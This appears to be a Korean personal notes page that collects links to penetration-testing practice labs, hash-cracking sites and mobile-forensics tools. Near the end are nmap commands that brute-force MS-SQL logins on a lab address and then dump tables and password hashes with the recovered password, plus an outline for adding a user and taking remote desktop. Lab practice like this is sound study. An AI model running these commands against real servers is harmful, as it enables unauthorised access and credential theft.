the Desirable Garfield

* base64 decode

  -  https://www.base64decode.org/

* sha1 decode ( and md5 decode )

  - http://www.hashkiller.co.uk/sha1-decrypter.aspx

* edit this cookie ( chrome plugin )

  - https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg/related

* SQL Fiddle site

  - http://sqlfiddle.com/

우선 여기부터하고 아래도 해보자~

http://webhacking.kr

------------------------------------------------------------------------------------------------

침투테스트 가상환경을 샌드박스 형태로 제공하여, 온라인상에서 모의해킹을 해볼수 있는 사이트

https://hack.me/

OWASP에서 웹 취약점 테스트를 위해 제공하는 VM웨어용 가상이미지 파일 다운로드 및 프로젝트 페이지

http://sourceforge.net/projects/owaspbwa/files/

온라인상으로 프로그래밍언어를 실행하고 컴파일할 수 있는 사이트

http://compileonline.com/

취약한 웹 어플리케이션 소스를 제공하는 사이트

http://www.dvwa.co.uk/

온라인 모의해킹 사이트

http://hack-me.org/index.php?p=home

OWASP 취약점을 바탕으로한 취약점 테스팅 가상환경

http://sourceforge.net/projects/vicnum/

리눅스, 아파치, PHP, MySQL의 보안을 학습하기 위한 가상환경을 제공

http://sourceforge.net/projects/lampsecurity/

웹취약점 테스트를 하기 위해 제작된 가상이미지

http://sourceforge.net/projects/websecuritydojo/

다양한 환경에서 악의적인 코드를 분석할 수 있는 가상머신

http://bruteforce.gr/honeydrive

웹취약점 테스트 환경을 제공하는 사이트

https://www.pentesterlab.com/exercises

웹해킹 전문가가 만든 침투테스트를 위한 가상 이미지

https://bechtsoudis.com/work-stuff/challenges/drunk-admin-web-hacking-challenge/

다양한 모의 해킹를 실습하고 트레이닝할 수 있는 기능을 제공하는 툴

http://sourceforge.net/projects/null-gameover/

SQL 인젝션을 테스트하고 실험해 볼 수 있는 환경(소스)를 제공하는 사이트

https://github.com/Audi-1/sqli-labs

침투테스트 환경을 제공(DVL)

http://sourceforge.jp/projects/sfnet_virtualhacking/downloads/os/dvl/DVL_1.5_Infectious_Disease.iso/

모의해킹 연습 사이트 링크 모음

http://chogar.blog.me/80130034776

모의해킹 관련 정보를 제공하는 사이트 (아래 그림 출처)

http://www.amanhardikar.com/mindmaps/PracticewithURLs.html 

* 전체적인 발표 및 동영상 내용 

   - https://reinvent.awsevents.com/

* 신규 보안 기술 발표 

  - http://aws.amazon.com/ko/new/reinvent/

* Lamda 관련 기사 

   - http://www.bloter.net/archives/212898

* 하기 명령어로 하려고 했으나 물리적인 인식이 잘 안됨 ( 윈도우에서도 마찬가지 )

* 아래 사이트에서 복구 프로그램 다운로드

  - recovering-deleted-files.net/android-data-recovery

* 안드로이드 폰에 설치해서 파일 복구하는 App : Diskdigger

  - http://androidcritics.com/how-to-recover-deleted-photos-videos-files-using-diskdigger/

* 이걸 한번 활용해 보면 어떨가.. ( 내일 해보는걸로.. )

  - https://santoku-linux.com/howto/mobile-forensics/how-to-brute-force-android-encryption

* dcfldd 활용하기

* busybox 활용 하기 ( 루팅 필요 )

: download( busybox-armv4tl : android) => http://www.busybox.net/downloads/binaries/   

* PDF file download.

http://smarterforensics.com/wp-content/uploads/2014/06/Sushi-Smartphone-Forensics_Updated_20141025.pdf

* iOS 포렌직할만한 도구

  - zdziarski :: https://viaforensics.com/resources/white-papers/iphone-forensics/zdziarski/

    -- 여기 사이트에서 가입하고 다운로드 받으라고 하는데, 현재 접속이 안되고 있음.

        => http://www.iphoneinsecurity.com/

* Santoku linux 다운로드 받아서 경험해보기 ( only 64bit, VM-Ware에서 해보길 추천 )

  => https://santoku-linux.com/download

      - Via ExtractCE

      - Via ExtractCE Locked Devices

      - Andriiler

      - Android Memory Capture

      - Android Analysis

      - Autopsy ( Android Analyzer )

      - Geo-Location Support ( Ex., EXIF, google Map, Browser, Cache and so on )

      - Examining Media files

      - Recovery SQLite Data Deleted.

* 중요 포인트

  - 여기 있는 Commercial 버젼들은 모든 기종을 지원하는 것은 아니고, 

  - 3rd App의 경우 파싱이 완벽하지 않으며,

  - 데이터를 놓치는 것들도 있음.

* 자세한 건 pdf파일 참고~ ( 영문임 ㅋㅋ )

그럼.. 이제 산토쿠 써보러 ^^;;

* nmap -Pn 192.168.1.3

   -> 1433 port, SQL 살아 있는 것을 확인

* nmap -p1433 --script ms-sql-info 192.168.1.3

   -> SQL 정보 확인

* nmap -p1433 --script ms-sql-brute 192.168.1.3

   -> 기본적인 내용으로 id/pw 공격

* nmap -p1433 --script ms-sql-brute --script-args userdb=/root/Destop/user.txt,passdb=/usr/share/wordlist/fasttrack.txt 192.168.1.3

   -> custom id/pw 입력해서 공격

* nmap -p1433 --script ms-sql-tables --script-args mssql.username=sa,password=a12345 192.168.1.3

   -> 찾아낸 ID/PW로 테이블 내용 가져오기

* nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,password=a12345 192.168.1.3

   -> 찾아낸 ID/PW로 Database password 해쉬값 가져오기

FTP - put rs - connect db - add user - remotedesk.

Basics of Penetration Testing by KernelMeltdown.org

https://www.youtube.com/playlist?list=UUbbgnifxfH-nqx6z9XQ963Q&app=desktop